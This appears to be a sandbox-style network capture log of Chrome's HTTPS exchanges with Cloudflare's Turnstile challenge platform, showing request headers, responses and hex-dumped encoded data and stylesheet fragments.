2025-01-30 18:24:23 UTC	16384	OUT	Data Raw: 4b 66 2b 44 75 37 6a 4b 5a 2b 79 4b 75 55 30 59 44 2b 37 51 50 6b 79 37 6d 37 6b 4b 57 76 37 67 37 2b 73 4b 6b 4b 4c 37 58 4b 57 39 37 75 37 56 62 4d 6c 37 66 37 4f 4c 63 67 37 35 37 57 79 58 72 37 55 37 47 2b 57 7a 5a 75 4b 70 2b 58 4d 37 2b 37 6b 76 58 6c 37 67 4b 39 37 58 2b 37 38 47 47 4c 57 6e 37 43 4b 51 4c 58 78 79 66 72 64 53 32 76 4b 2b 37 56 65 34 61 56 59 4b 58 6f 6b 74 4b 63 4b 37 79 37 64 48 68 37 7a 79 38 50 4b 44 37 4f 4c 63 43 37 79 4b 49 39 6b 72 57 30 69 33 6f 57 79 37 56 79 4f 6b 37 47 57 65 45 54 5a 41 61 37 41 64 24 4b 37 37 37 67 42 69 37 4a 78 58 48 6f 58 32 78 37 4c 52 6c 5a 57 6d 53 4a 37 51 62 7a 57 6f 54 36 59 78 68 53 76 54 4c 49 64 30 6b 38 42 48 4f 61 7a 64 37 36 55 54 79 57 61 6c 67 54 2b 61 37 67 53 78 76 37 4b 57 73 6d 47 Data Ascii: Kf+Du7jKZ+yKuU0YD+7QPky7m7kKWv7g7+sKkKL7XKW97u7VbMl7f7OLcg757WyXr7U7G+WzZuKp+XM7+7kvXl7gK97X+78GGLWn7CKQLXxyfrdS2vK+7Ve4aVYKXoktKcK7y7dHh7zy8PKD7OLcC7yKI9krW0i3oWy7VyOk7GWeETZAa7Ad$K777gBi7JxXHoX2x7LRlZWmSJ7QbzWoT6YxhSvTLId0k8BHOazd76UTyWalgT+a7gSxv7KWsmG
2025-01-30 18:24:23 UTC	2576	OUT	Data Raw: 37 2b 48 54 6b 37 50 37 78 76 57 44 58 4a 48 78 46 6f 74 42 6f 2d 4a 6b 54 71 4f 63 6e 53 68 6b 79 4b 51 48 51 6f 70 47 37 6f 4a 73 47 58 47 37 64 4b 57 76 37 70 41 6f 43 69 32 4d 74 43 69 69 4c 4f 72 52 68 49 2b 7a 39 59 78 37 62 37 78 4a 69 37 4e 4e 48 56 4d 46 57 37 72 37 56 66 37 31 30 7a 52 39 4f 6f 38 43 5a 31 4d 55 75 4e 61 6e 44 46 65 49 5a 37 47 35 48 63 6b 55 51 4a 37 47 70 4d 62 2b 58 79 39 74 59 53 63 58 74 2d 4b 57 50 4f 6b 2b 58 76 53 68 62 46 76 64 67 49 47 63 6a 48 31 62 39 52 41 6a 48 64 41 36 69 37 24 51 74 46 43 4a 78 50 37 6b 55 2b 36 4b 58 61 5a 4f 57 63 7a 4c 76 4a 53 35 2d 36 44 69 75 31 6b 41 4b 59 7a 35 34 36 4c 37 38 55 39 45 45 38 37 6b 2d 58 46 58 6e 76 78 66 66 42 43 49 57 62 67 66 4f 66 62 37 6a 4b 56 48 53 49 43 6f 2b 75 36 Data Ascii: 7+HTk7P7xvWDXJHxFotBo-JkTqOcnShkyKQHQopG7oJsGXG7dKWv7pAoCi2MtCiiLOrRhI+z9Yx7b7xJi7NNHVMFW7r7Vf710zR9Oo8CZ1MUuNanDFeIZ7G5HckUQJ7GpMb+Xy9tYScXt-KWPOk+XvShbFvdgIGcjH1b9RAjHdA6i7$QtFCJxP7kU+6KXaZOWczLvJS5-6Diu1kAKYz546L78U9EE87k-XFXnvxffBCIWbgfOfb7jKVHSICo+u6
2025-01-30 18:24:24 UTC	322	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:24:24 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 27968 Connection: close cf-chl-gen: heTH6Q+jOKTB0mq3hhQ2AZn+g4szDTenRkaYaYatItMpfJJI0Fctkw57SFuT/qix$cDgkM5FnwA3YoVziJUKNnA== Server: cloudflare CF-RAY: 90a37fa648f14374-EWR alt-svc: h3=":443"; ma=86400
2025-01-30 18:24:24 UTC	1047	IN	Data Raw: 69 6f 56 6d 68 59 74 72 6d 5a 4b 41 6c 4a 47 55 6a 47 4e 31 6c 33 64 34 6e 6f 61 4c 5a 61 61 4b 6a 32 71 4c 6f 61 5a 75 69 37 47 67 6a 49 6d 73 69 34 32 59 6c 71 69 50 66 72 61 6b 75 4d 4c 47 68 4a 4c 4a 69 4b 71 62 6f 37 79 34 72 35 2b 30 74 4d 6e 47 31 70 53 79 32 71 72 46 6c 73 32 58 77 4b 37 57 34 71 44 55 35 72 62 49 78 37 50 64 79 72 66 71 37 71 7a 77 38 73 48 54 36 63 76 58 34 2b 4c 4a 33 4d 76 4e 36 74 33 68 76 50 4c 50 31 2b 37 56 37 39 66 5a 34 2f 50 71 36 77 2f 6c 38 65 73 50 45 38 37 65 46 2b 59 4b 39 2f 50 59 2f 41 2f 35 36 77 6e 35 39 75 30 41 2f 66 55 42 34 67 6f 63 41 4f 6f 63 47 68 7a 76 38 41 41 79 4b 67 30 6f 49 66 4d 51 45 69 6a 32 4b 67 63 51 2f 42 67 69 51 52 6b 78 41 42 68 4b 4e 67 59 62 4c 45 6f 69 48 6a 6b 6d 4a 67 74 51 4a 69 6f Data Ascii: ioVmhYtrmZKAlJGUjGN1l3d4noaLZaaKj2qLoaZui7GgjImsi42YlqiPfrakuMLGhJLJiKqbo7y4r5+0tMnG1pSy2qrFls2XwK7W4qDU5rbIx7Pdyrfq7qzw8sHT6cvX4+LJ3MvN6t3hvPLP1+7V79fZ4/Pq6w/l8esPE87eF+YK9/PY/A/56wn59u0A/fUB4gocAOocGhzv8AAyKg0oIfMQEij2KgcQ/BgiQRkxABhKNgYbLEoiHjkmJgtQJio
2025-01-30 18:24:24 UTC	1369	IN	Data Raw: 59 67 4b 52 35 59 70 43 69 62 49 71 4d 72 36 4f 50 6c 72 65 30 74 34 79 2b 6a 70 43 70 6b 4c 52 2f 6d 35 42 35 6e 62 7a 45 78 4c 65 63 7a 70 36 66 7a 4d 2b 37 6f 70 48 4a 74 38 76 55 7a 62 6e 52 75 63 37 4f 7a 62 4f 2f 6e 75 48 69 31 64 48 4a 36 71 43 6c 6e 73 54 65 72 4d 58 6d 34 72 43 38 38 75 6d 79 38 2b 72 72 75 4c 62 75 35 75 69 39 76 39 76 44 7a 51 58 43 39 39 58 38 77 66 50 62 41 66 37 75 79 65 62 79 38 66 4c 54 30 64 44 32 37 78 51 4f 48 50 63 41 39 4e 33 75 49 78 6e 73 41 51 6a 69 4a 4e 38 63 35 41 49 69 48 79 49 65 42 42 44 75 4a 42 38 6d 49 67 6f 34 42 52 41 6f 39 43 6b 76 44 77 73 6b 4a 44 68 42 50 53 6b 67 4f 7a 6b 74 48 79 45 6f 43 69 70 53 48 7a 51 69 53 55 63 32 45 6b 6c 4e 44 6a 4d 37 50 31 5a 63 4d 52 31 55 4f 57 5a 6d 4a 6c 39 62 51 47 Data Ascii: YgKR5YpCibIqMr6OPlre0t4y+jpCpkLR/m5B5nbzExLeczp6fzM+7opHJt8vUzbnRuc7OzbO/nuHi1dHJ6qClnsTerMXm4rC88umy8+rruLbu5ui9v9vDzQXC99X8wfPbAf7uyeby8fLT0dD27xQOHPcA9N3uIxnsAQjiJN8c5AIiHyIeBBDuJB8mIgo4BRAo9CkvDwskJDhBPSkgOzktHyEoCipSHzQiSUc2EklNDjM7P1ZcMR1UOWZmJl9bQG
2025-01-30 18:24:24 UTC	1369	IN	Data Raw: 6a 33 47 72 73 61 46 31 72 36 75 6c 65 62 4f 75 71 58 32 33 73 61 32 42 75 37 53 52 6c 62 32 53 6d 72 2b 63 7a 70 36 67 71 72 76 43 70 61 36 32 76 38 69 58 70 73 61 6c 73 70 71 34 72 37 6d 38 31 71 2b 30 30 72 61 33 32 4e 4c 4c 75 73 4c 6e 76 38 37 47 34 74 48 53 73 66 4c 48 37 76 62 36 37 75 6a 46 33 4c 45 41 34 50 48 69 33 2b 58 47 41 73 59 49 39 51 62 4b 78 50 6b 4b 7a 73 7a 39 44 74 4c 55 41 68 4c 59 35 76 6a 5a 44 2b 6f 61 38 39 6a 7a 32 42 4c 32 33 43 67 42 43 4f 45 54 35 53 55 43 4a 79 6b 65 43 43 73 45 37 67 77 76 43 43 34 51 4d 77 77 63 46 44 63 51 45 42 67 37 46 55 4d 31 2f 6a 59 53 42 69 51 47 50 45 34 62 51 45 67 72 54 7a 55 4f 4e 6b 30 6f 54 30 74 48 53 45 6b 31 54 6a 38 38 51 69 4e 65 49 32 42 53 59 69 64 6f 56 6d 59 72 4a 56 70 71 4c 79 31 Data Ascii: j3GrsaF1r6ulebOuqX23sa2Bu7SRlb2Smr+czp6gqrvCpa62v8iXpsalspq4r7m81q+00ra32NLLusLnv87G4tHSsfLH7vb67ujF3LEA4PHi3+XGAsYI9QbKxPkKzsz9DtLUAhLY5vjZD+oa89jz2BL23CgBCOET5SUCJykeCCsE7gwvCC4QMwwcFDcQEBg7FUM1/jYSBiQGPE4bQEgrTzUONk0oT0tHSEk1Tj88QiNeI2BSYidoVmYrJVpqLy1
2025-01-30 18:24:24 UTC	1369	IN	Data Raw: 33 65 4b 70 5a 4e 38 6a 71 6d 58 67 5a 4b 74 6d 34 61 57 73 5a 39 38 6d 72 57 6a 68 4a 36 35 71 4b 75 77 30 4a 47 66 77 4c 4f 75 74 4e 69 58 70 39 6d 7a 6c 37 36 73 7a 2b 47 6a 73 62 6e 67 6f 2b 76 6a 33 4d 4c 76 35 2b 44 43 38 2b 76 6b 77 76 66 76 36 4d 48 4b 35 74 7a 46 36 74 76 74 79 65 7a 79 76 38 48 36 35 65 6a 70 41 62 33 6a 37 67 6b 4a 44 2f 6e 6c 34 51 58 4f 35 2f 63 4d 45 4f 7a 33 43 4f 77 4b 47 78 72 61 4a 43 48 74 33 69 67 6c 41 75 49 73 4b 52 7a 6d 4d 43 30 77 36 6a 54 71 45 68 38 7a 45 42 66 77 50 42 67 32 37 77 63 35 48 42 63 51 4f 78 51 65 45 54 51 6b 47 55 6b 38 49 51 67 4b 43 53 39 53 55 41 30 71 52 56 46 52 56 43 6c 61 4b 79 78 57 4f 30 31 58 51 31 42 50 57 6c 59 31 55 54 56 71 53 78 34 72 62 6d 4e 67 4f 6d 68 75 5a 47 6c 48 58 33 51 7a Data Ascii: 3eKpZN8jqmXgZKtm4aWsZ98mrWjhJ65qKuw0JGfwLOutNiXp9mzl76sz+Gjsbngo+vj3MLv5+DC8+vkwvfv6MHK5tzF6tvtyezyv8H65ejpAb3j7gkJD/nl4QXO5/cMEOz3COwKGxraJCHt3iglAuIsKRzmMC0w6jTqEh8zEBfwPBg27wc5HBcQOxQeETQkGUk8IQgKCS9SUA0qRVFRVClaKyxWO01XQ1BPWlY1UTVqSx4rbmNgOmhuZGlHX3Qz
2025-01-30 18:24:24 UTC	1369	IN	Data Raw: 75 74 6c 49 36 2f 6d 37 36 61 70 35 2f 43 6d 34 61 6a 78 70 2f 46 70 38 71 6a 73 36 76 4f 71 4a 57 36 30 4e 71 53 75 4e 58 4e 6d 62 79 75 75 4c 71 2b 6f 72 76 54 70 4e 54 61 33 39 7a 5a 31 37 32 72 72 61 7a 43 39 65 57 75 35 63 58 6b 36 72 66 30 39 64 2f 68 32 66 6d 31 32 2b 62 31 41 66 76 41 33 4d 59 49 41 4d 76 35 37 65 41 52 34 75 54 32 39 76 62 32 43 51 62 4e 38 2f 34 5a 47 65 44 77 49 76 4c 30 45 51 63 58 34 65 55 6a 2f 65 49 66 44 78 6e 74 37 41 45 6b 41 41 34 79 4b 43 30 4c 48 44 6f 6d 44 44 45 72 43 68 38 41 47 44 49 4f 4d 54 63 38 4f 54 59 30 47 67 67 4b 43 53 39 53 55 41 74 41 44 55 46 48 45 55 6f 71 52 56 46 55 57 42 49 32 55 56 46 61 59 44 56 6d 4e 7a 6c 56 56 31 56 4e 57 6b 46 43 53 47 4d 72 56 46 30 79 54 30 63 35 61 56 59 34 53 46 5a 63 62 Data Ascii: utlI6/m76ap5/Cm4ajxp/Fp8qjs6vOqJW60NqSuNXNmbyuuLq+orvTpNTa39zZ172rrazC9eWu5cXk6rf09d/h2fm12+b1AfvA3MYIAMv57eAR4uT29vb2CQbN8/4ZGeDwIvL0EQcX4eUj/eIfDxnt7AEkAA4yKC0LHDomDDErCh8AGDIOMTc8OTY0GggKCS9SUAtADUFHEUoqRVFUWBI2UVFaYDVmNzlVV1VNWkFCSGMrVF0yT0c5aVY4SFZcb
2025-01-30 18:24:24 UTC	1369	IN	Data Raw: 65 6d 4c 32 35 69 38 69 38 6f 4a 75 2f 6e 74 4f 66 79 4b 65 30 74 37 61 57 78 49 32 79 6b 37 2b 63 71 4e 4c 56 6e 73 2f 61 31 36 54 55 31 2b 50 43 35 38 43 2b 72 64 75 36 35 74 54 65 77 62 2f 69 79 4d 62 71 37 4f 72 54 37 75 37 68 30 39 4f 2b 38 51 4f 38 31 4e 76 69 2b 37 33 31 33 41 33 65 34 64 34 4c 38 76 4c 51 41 66 66 6d 46 51 6b 4b 44 52 77 65 43 79 41 68 46 67 4d 43 47 52 77 5a 4b 53 6a 6a 41 50 55 76 35 77 63 4b 41 65 6b 44 42 44 41 6c 4a 50 45 44 4e 43 6e 30 2f 44 73 56 4d 44 78 42 47 44 42 41 42 44 6f 53 53 77 51 6a 46 68 30 47 48 79 42 41 50 43 51 6c 4c 30 78 47 4f 52 5a 4e 4c 7a 67 2b 53 44 51 73 4d 55 77 36 58 43 35 52 4b 46 6f 70 52 43 77 32 62 53 6f 2b 63 54 78 49 58 45 51 75 59 46 68 44 61 44 52 4b 66 6b 5a 2b 4f 59 4a 36 57 31 4e 63 5a 31 Data Ascii: emL25i8i8oJu/ntOfyKe0t7aWxI2yk7+cqNLVns/a16TU1+PC58C+rdu65tTewb/iyMbq7OrT7u7h09O+8QO81Nvi+7313A3e4d4L8vLQAffmFQkKDRweCyAhFgMCGRwZKSjjAPUv5wcKAekDBDAlJPEDNCn0/DsVMDxBGDBABDoSSwQjFh0GHyBAPCQlL0xGORZNLzg+SDQsMUw6XC5RKFopRCw2bSo+cTxIXEQuYFhDaDRKfkZ+OYJ6W1NcZ1
2025-01-30 18:24:24 UTC	1369	IN	Data Raw: 76 62 66 50 77 38 69 6b 72 72 57 4e 70 63 69 51 30 61 76 4d 79 39 75 77 75 38 7a 65 77 63 4c 55 33 64 44 63 75 64 54 54 34 62 6e 67 7a 65 54 6b 34 74 4b 74 35 4f 6e 58 73 63 6e 73 35 75 7a 47 76 74 44 66 37 50 72 69 34 73 44 77 39 50 6e 58 36 64 37 6d 78 41 72 68 41 64 41 4b 35 67 55 45 45 65 7a 69 34 52 62 77 35 2f 6e 57 38 65 6f 51 48 50 58 75 46 43 4c 33 38 75 67 6c 2f 66 63 4b 4c 41 4d 68 38 43 6b 47 4e 65 77 6c 43 7a 6f 57 4e 77 38 58 50 44 6b 56 47 7a 51 38 46 30 55 4f 2f 68 6f 35 41 51 4d 68 46 30 68 4b 49 6b 45 52 51 53 63 76 53 46 45 74 4a 44 5a 55 4c 79 67 36 46 7a 4e 68 4b 6c 38 32 4c 31 68 6b 4f 6c 6b 70 59 6a 35 74 58 43 5a 41 4f 79 30 71 52 6e 56 30 63 45 70 70 4f 58 64 50 62 54 56 74 55 34 46 34 66 31 5a 50 52 54 35 62 59 34 68 43 58 31 64 Data Ascii: vbfPw8ikrrWNpciQ0avMy9uwu8zewcLU3dDcudTT4bngzeTk4tKt5OnXscns5uzGvtDf7Pri4sDw9PnX6d7mxArhAdAK5gUEEezi4Rbw5/nW8eoQHPXuFCL38ugl/fcKLAMh8CkGNewlCzoWNw8XPDkVGzQ8F0UO/ho5AQMhF0hKIkERQScvSFEtJDZULyg6FzNhKl82L1hkOlkpYj5tXCZAOy0qRnV0cEppOXdPbTVtU4F4f1ZPRT5bY4hCX1d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49782	104.18.95.41	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:24:24 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/428841705:1738257258:NQS5JLtvOTvofmNpGGjWYSAkW1IksDo4h5s1tOmpDd0/90a37f855bab32ca/gYSngyglqKnIoNO6flATrUA1pCbkbvNWQHtXIG1Zff8-1738261458-1.1.1.1-EyRArk2xBpPRpD9MzfbrwvfbpDZ1kTGSgsVqJoSRjtlfdHufXEcEes1WkwDn1SFH HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:24:25 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Thu, 30 Jan 2025 18:24:24 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 4A+uyYf+CiH3y416mFa1foBUmiBKdBPJ/XBXK9rkOS1LEDv1MntjrO34yyNiJd2cBeeK02S+TH7Jxigqii7JhA==$L+R7EJV2zRMk3pDrkEqi1A== Server: cloudflare CF-RAY: 90a37fabfbdec477-EWR alt-svc: h3=":443"; ma=86400
2025-01-30 18:24:25 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50054	104.18.94.41	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:24 UTC	823	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/569jv/0x4AAAAAAA6BeftGM8IqIoFc/auto/fbE/auto_timeout/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://office.docmanagementsystem.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:25 UTC	1368	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:26:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 27296 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/ blob:; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2025-01-30 18:26:25 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 39 30 61 33 38 32 39 39 66 64 31 30 38 63 35 64 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 90a38299fd108c5d-EWRalt-svc: h3=":443"; ma=86400
2025-01-30 18:26:25 UTC	1288	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2025-01-30 18:26:25 UTC	1369	IN	Data Raw: 65 6e 3b 70 61 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 Data Ascii: en;padding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antia
2025-01-30 18:26:25 UTC	1369	IN	Data Raw: 6c 69 6e 65 7b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 Data Ascii: line{stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;f
2025-01-30 18:26:25 UTC	1369	IN	Data Raw: 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d Data Ascii: .theme-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.them
2025-01-30 18:26:25 UTC	1369	IN	Data Raw: 23 66 33 38 30 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 Data Ascii: #f38020}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark
2025-01-30 18:26:25 UTC	1369	IN	Data Raw: 79 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 Data Ascii: y:166;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) 